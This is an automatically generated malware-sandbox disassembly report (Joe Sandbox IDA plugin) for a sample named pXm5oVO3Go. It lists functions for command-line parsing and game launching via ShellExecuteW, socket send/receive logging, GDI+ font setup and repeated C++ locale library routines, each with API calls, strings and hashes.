[Notice]RES Error!, xrefs: 00417AC4
0}B, xrefs: 00417C03
[Notice]MSG Error!, xrefs: 00417B3B
Msg, xrefs: 00417B1F, 00417B60
Obj, xrefs: 00417BB4
RES, xrefs: 00417AA8, 00417AFC
[Notice]Rsp Parse Error!, xrefs: 00417A63

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _free
String ID: 0}B$Msg$Obj$RES$[Notice]MSG Error!$[Notice]RES Error!$[Notice]Rsp Parse Error!
API String ID: 269201875-1782929323
Opcode ID: 1e68510126bfa72bc46471a3d57d4b5b77bf72f55be6068ffa668a56fbcc5238
Instruction ID: e1dc275b282ce019acf22a76f68e19061cb2a77fd65f973232ce16d4ef2f8df8
Opcode Fuzzy Hash: 1e68510126bfa72bc46471a3d57d4b5b77bf72f55be6068ffa668a56fbcc5238
Instruction Fuzzy Hash: D581807150C3409BD320DF24C881B9BB7F5BF84744F40892EF59957292DB78A948CB97

Function 00411740 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 366COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(000000FF,ExecuteGame,ED2F953D,?,755613C0,?,000000FF,?,00410E3F,?,?,006FD638), ref: 0041179D
CommandLineToArgvW.SHELL32(00000000,?,755613C0,?,000000FF,?,00410E3F,?,?,006FD638), ref: 004117A4
_memcpy_s.LIBCMT ref: 00411977
ShellExecuteW.SHELL32(00000000,open,?,?,00000000,00000005), ref: 004119D9

Strings

ExecuteGame, xrefs: 00411768
--feihuo, xrefs: 00411808
open, xrefs: 004119D2
yun_game_id, xrefs: 0041182B
ExecuteGame:error,, xrefs: 00411A16

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: CommandLine$ArgvExecuteShell_memcpy_s
String ID: --feihuo$ExecuteGame$ExecuteGame:error,$open$yun_game_id
API String ID: 3847668404-1005890697
Opcode ID: 7bed15792b36077b9b6f609ce8d74b94429a9e187beef292469044a8a60118a1
Instruction ID: 2af083e08b68adfb570592fc054282c18a9c1ca409c7def1e871dbcade9d5dca
Opcode Fuzzy Hash: 7bed15792b36077b9b6f609ce8d74b94429a9e187beef292469044a8a60118a1
Instruction Fuzzy Hash: ABD1E0716006019FD704DB6CCC91EAAB3B5FF85334B28C76DE1259B2E1DB35AA06CB94

Function 004181D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 118networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00428A50: __strftime_l.LIBCMT ref: 00428A94
Part of subcall function 00428A50: OutputDebugStringA.KERNEL32(?,?,?,?,?,ED2F953D), ref: 00428AA3
Part of subcall function 00428A50: GetACP.KERNEL32(?,?,?,?,ED2F953D), ref: 00428AA9

recv.WS2_32(?,?,00000001,00000002), ref: 00418216
WSAGetLastError.WS2_32(?,00414D98), ref: 00418222
send.WS2_32(?,00000000,00000002,00000000), ref: 0041826C
WSAGetLastError.WS2_32(?,00414D98), ref: 0041827B
WSAGetLastError.WS2_32 ref: 004182BB
WSAGetLastError.WS2_32 ref: 004182CF

Part of subcall function 004289F0: __strftime_l.LIBCMT ref: 00428A1C
Part of subcall function 004289F0: OutputDebugStringW.KERNEL32(?), ref: 00428A2B

Strings

Send socket data failed(err=%d)., xrefs: 0041827E
Send socket data%s, xrefs: 004181FA
The socket has been disconnected!, xrefs: 00418234

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: ErrorLast$DebugOutputString__strftime_l$recvsend
String ID: Send socket data failed(err=%d).$Send socket data%s$The socket has been disconnected!
API String ID: 2413326941-4143001793
Opcode ID: 9e480a8153547b500284dcd37306fd1203a01cdc4f3995d9c1fe795f3f1c1a7d
Instruction ID: c7dcb8c0283466b73eaf7007b09b45fe9c35480a9c746bb810a263ba5ba8cc97
Opcode Fuzzy Hash: 9e480a8153547b500284dcd37306fd1203a01cdc4f3995d9c1fe795f3f1c1a7d
Instruction Fuzzy Hash: 1C3113B1A40205AFD714DB68DC06BAE77A9EF85720F14426EF815E73D1EF7899008BA4

Function 00422E40 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

GdipCreateFontFamilyFromName.GDIPLUS(Arial,00000000,?,004136E9), ref: 00422E5B
GdipGetGenericFontFamilySansSerif.GDIPLUS(0073EDC0), ref: 00422E8B
GdipDeleteFontFamily.GDIPLUS(00000000), ref: 00422EAA
GdipCreateFont.GDIPLUS(00000000,00000000,00000000,00000003,00000000), ref: 00422ECC
GdipGetGenericFontFamilySansSerif.GDIPLUS(0073EDC0), ref: 00422EEE
GdipDeleteFontFamily.GDIPLUS(00000000), ref: 00422F0D
GdipCreateFont.GDIPLUS(?,00000000,00000000,00000003,00000000), ref: 00422F29
GdipDeleteFontFamily.GDIPLUS(00000000), ref: 00422F32

Strings

Arial, xrefs: 00422E4D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: FontGdip$Family$CreateDelete$GenericSansSerif$FromName
String ID: Arial
API String ID: 778451959-493054409
Opcode ID: 5c26adeb644eb546e83f6da1232f65c2aff8f5eb5dad50e615ba98e2f54c7368
Instruction ID: 2b93083f641ebe4919f66077f20c57abdc533cb4a836b56b1f36a8212e8c19f9
Opcode Fuzzy Hash: 5c26adeb644eb546e83f6da1232f65c2aff8f5eb5dad50e615ba98e2f54c7368
Instruction Fuzzy Hash: 41316BB4700206BBD7209FA5ED04B5AFBB9FB44701F00C65EE94597390DB74D800CB94

Function 0066202B Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00662032
std::_Lockit::_Lockit.LIBCPMT ref: 0066203C
int.LIBCPMT ref: 00662053

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

moneypunct.LIBCPMT ref: 00662076
std::bad_exception::bad_exception.LIBCMT ref: 0066208A
__CxxThrowException@8.LIBCMT ref: 00662098
std::locale::facet::_Facet_Register.LIBCPMT ref: 006620AE

Strings

Xs, xrefs: 0066204B
bad cast, xrefs: 00662082

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmoneypunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: Xs$bad cast
API String ID: 2090539961-3260119552
Opcode ID: 49a4995d311e5a88e06176a56a8423239daced5f485f8219e0fb6a7b49904bbc
Instruction ID: 8bc1f1f8a79de84126f0be9b71d47aaa7b8798e2a25d6427c0638307c24f1ce6
Opcode Fuzzy Hash: 49a4995d311e5a88e06176a56a8423239daced5f485f8219e0fb6a7b49904bbc
Instruction Fuzzy Hash: 6A01C03190021A9BCB09EBB0C862AFD7727AF40721F14011DF9117B2D1DF78AA458799

Function 0066103F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00661046
std::_Lockit::_Lockit.LIBCPMT ref: 00661050
int.LIBCPMT ref: 00661067

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

numpunct.LIBCPMT ref: 0066108A
std::bad_exception::bad_exception.LIBCMT ref: 0066109E
__CxxThrowException@8.LIBCMT ref: 006610AC
std::locale::facet::_Facet_Register.LIBCPMT ref: 006610C2

Strings

,s, xrefs: 0066105F
bad cast, xrefs: 00661096

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrownumpunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: ,s$bad cast
API String ID: 1289509941-831669854
Opcode ID: 5693cccb49d185a93962ed605ff57d4b49cdebb7c3cd7e815f5ad86a0a6e7c4b
Instruction ID: 0df5e830d0d88d29cf1e4febdbdb9ac07aa64a03b9cc06a36e04746fc23b24f3
Opcode Fuzzy Hash: 5693cccb49d185a93962ed605ff57d4b49cdebb7c3cd7e815f5ad86a0a6e7c4b
Instruction Fuzzy Hash: C901AD319002099BCF05EBB0D842AFE7737AF41721F14021DF9107B2D1CF78AA859B99

Function 00661216 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066121D
std::_Lockit::_Lockit.LIBCPMT ref: 00661227
int.LIBCPMT ref: 0066123E

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 00661261
std::bad_exception::bad_exception.LIBCMT ref: 00661275
__CxxThrowException@8.LIBCMT ref: 00661283
std::locale::facet::_Facet_Register.LIBCPMT ref: 00661299

Strings

Ps, xrefs: 00661236
bad cast, xrefs: 0066126D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: Ps$bad cast
API String ID: 1676052248-4043858998
Opcode ID: 7ee40cf687ccc232ac78faa6488d8f27d910a1d7159bc6563c24aa4580b98fbc
Instruction ID: 65fcd92fad2f35417c3666b5d0beb1e3420dbb5c15982c1203fa4e6e078486a3
Opcode Fuzzy Hash: 7ee40cf687ccc232ac78faa6488d8f27d910a1d7159bc6563c24aa4580b98fbc
Instruction Fuzzy Hash: 4C01C4329002099BCB45EBB4D863AFE7727AF41721F14051DF510BB2E1DF789A458798

Function 00660ABA Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660AC1
std::_Lockit::_Lockit.LIBCPMT ref: 00660ACB
int.LIBCPMT ref: 00660AE2

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 00660B05
std::bad_exception::bad_exception.LIBCMT ref: 00660B19
__CxxThrowException@8.LIBCMT ref: 00660B27
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660B3D

Strings

$s, xrefs: 00660ADA
bad cast, xrefs: 00660B11

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: $s$bad cast
API String ID: 1676052248-46880872
Opcode ID: 0748360e88f843926f8c9301fcffb5f6df90545b1e5baa60d920f059cbb9958d
Instruction ID: 1a9006e3bd87e226f6bc65dbfa9752c7e2ad6cece43d362f7ef8d7d1ba3134bc
Opcode Fuzzy Hash: 0748360e88f843926f8c9301fcffb5f6df90545b1e5baa60d920f059cbb9958d
Instruction Fuzzy Hash: E601A131900209ABDB05EBB4D856AFE7727AF40721F14052DF9107B2D1DF78AA458799

Function 00660B57 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660B5E
std::_Lockit::_Lockit.LIBCPMT ref: 00660B68
int.LIBCPMT ref: 00660B7F

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 00660BA2
std::bad_exception::bad_exception.LIBCMT ref: 00660BB6
__CxxThrowException@8.LIBCMT ref: 00660BC4
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660BDA

Strings

Ts, xrefs: 00660B77
bad cast, xrefs: 00660BAE

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: Ts$bad cast
API String ID: 1676052248-3903122221
Opcode ID: 7f94dd489577bf17cb85d4fe765de91afa4fa519e0d327fd39741d0fbe8d3516
Instruction ID: af4e60c12aeaf962f4c0288f3940a1d10f9be851f33365a693c0c0bec59fc542
Opcode Fuzzy Hash: 7f94dd489577bf17cb85d4fe765de91afa4fa519e0d327fd39741d0fbe8d3516
Instruction Fuzzy Hash: CC010C319002099BCB04EBB0C843AFE7737AF80720F24452DF9117B2D0CF78AA458B99

Function 00661350 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00661357
std::_Lockit::_Lockit.LIBCPMT ref: 00661361
int.LIBCPMT ref: 00661378

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 0066139B
std::bad_exception::bad_exception.LIBCMT ref: 006613AF
__CxxThrowException@8.LIBCMT ref: 006613BD
std::locale::facet::_Facet_Register.LIBCPMT ref: 006613D3

Strings

s, xrefs: 00661370
bad cast, xrefs: 006613A7

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast$s
API String ID: 1676052248-2723258968
Opcode ID: afb5ecc2575a5adfea31e7c66913a9c456e5392f4d6ee640d794f469bcc7f808
Instruction ID: 57e56e6d8e0f1695fc427f6be8448a9c063f787741c9c188896c8afade79b362
Opcode Fuzzy Hash: afb5ecc2575a5adfea31e7c66913a9c456e5392f4d6ee640d794f469bcc7f808
Instruction Fuzzy Hash: 70018B319002199BCB05EBA0D852AFE7727AF81721F18061DF9117B2D1DF78AA059798

Function 00660BF4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660BFB
std::_Lockit::_Lockit.LIBCPMT ref: 00660C05
int.LIBCPMT ref: 00660C1C

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

numpunct.LIBCPMT ref: 00660C3F
std::bad_exception::bad_exception.LIBCMT ref: 00660C53
__CxxThrowException@8.LIBCMT ref: 00660C61
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660C77

Strings

8s, xrefs: 00660C14
bad cast, xrefs: 00660C4B

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrownumpunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: 8s$bad cast
API String ID: 1289509941-1317860649
Opcode ID: 061a030e41178a4658ab4cc0ba54e9df5a3fa119c5915864ca55eff7afdabd43
Instruction ID: 4f2765b0051dfa8d7b0567d96e760eeb71f69e2781326fe1bb697f60c6780371
Opcode Fuzzy Hash: 061a030e41178a4658ab4cc0ba54e9df5a3fa119c5915864ca55eff7afdabd43
Instruction Fuzzy Hash: 3501CC319002099BDB05EBB0C853AFE7737AF40720F24062DF9107B2D1CF78AA058798

Function 00660C91 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660C98
std::_Lockit::_Lockit.LIBCPMT ref: 00660CA2
int.LIBCPMT ref: 00660CB9

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

messages.LIBCPMT ref: 00660CDC
std::bad_exception::bad_exception.LIBCMT ref: 00660CF0
__CxxThrowException@8.LIBCMT ref: 00660CFE
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660D14

Strings

bad cast, xrefs: 00660CE8
s, xrefs: 00660CB1

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmessagesstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: s$bad cast
API String ID: 2525416601-459790195
Opcode ID: a24ecfdb47ee5fa40ea1ea6c63db1dd06a1527edb559708be50f65575bdce32d
Instruction ID: 4a612209761c11d6562e52499b9fa74223c979907fb66fed0c24bf1a05f28b51
Opcode Fuzzy Hash: a24ecfdb47ee5fa40ea1ea6c63db1dd06a1527edb559708be50f65575bdce32d
Instruction Fuzzy Hash: CA01CC319002199BDB05EFB0D852AFE7727AF80721F24062DF9117B2D1DF78AA058799

Function 00660D2E Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660D35
std::_Lockit::_Lockit.LIBCPMT ref: 00660D3F
int.LIBCPMT ref: 00660D56

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 00660D79
std::bad_exception::bad_exception.LIBCMT ref: 00660D8D
__CxxThrowException@8.LIBCMT ref: 00660D9B
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660DB1

Strings

Hs, xrefs: 00660D4E
bad cast, xrefs: 00660D85

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: Hs$bad cast
API String ID: 1676052248-2766358124
Opcode ID: c77c88663a81961ac4b4bcdd1a7f8541330bf35f75c85463d7daf81c1b7accbe
Instruction ID: 7eb601f0c4556ecb9a502d90031654fa5cc79b68905a21576a1b12cdfa35a103
Opcode Fuzzy Hash: c77c88663a81961ac4b4bcdd1a7f8541330bf35f75c85463d7daf81c1b7accbe
Instruction Fuzzy Hash: 9D01C0329002199BDB45EBF0C842AFE7727AF41720F24062DF9107B2D1CF78AA458798

Function 00660DCB Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660DD2
std::_Lockit::_Lockit.LIBCPMT ref: 00660DDC
int.LIBCPMT ref: 00660DF3

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 00660E16
std::bad_exception::bad_exception.LIBCMT ref: 00660E2A
__CxxThrowException@8.LIBCMT ref: 00660E38
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660E4E

Strings

Ls, xrefs: 00660DEB
bad cast, xrefs: 00660E22

Memory Dump Source

